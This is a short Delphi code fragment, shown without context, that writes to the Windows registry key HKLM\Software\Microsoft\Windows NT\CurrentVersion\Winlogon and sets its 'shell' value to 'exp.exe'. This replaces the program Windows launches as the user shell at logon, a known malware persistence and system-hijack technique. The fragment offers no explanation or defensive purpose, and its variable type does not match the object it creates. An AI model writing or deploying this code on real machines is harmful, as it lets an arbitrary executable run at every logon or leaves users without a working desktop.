var reg: Tregistry;
begin
Reg:=TRegIniFile.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software',true);
Reg.OpenKey('Microsoft',true);
Reg.OpenKey('Windows NT',true);
Reg.OpenKey('CurrentVersion',true);
Reg.OpenKey('Winlogon',true);
Reg.WriteString('shell','exp.exe');
Reg.CloseKey;
Reg.Free;
end;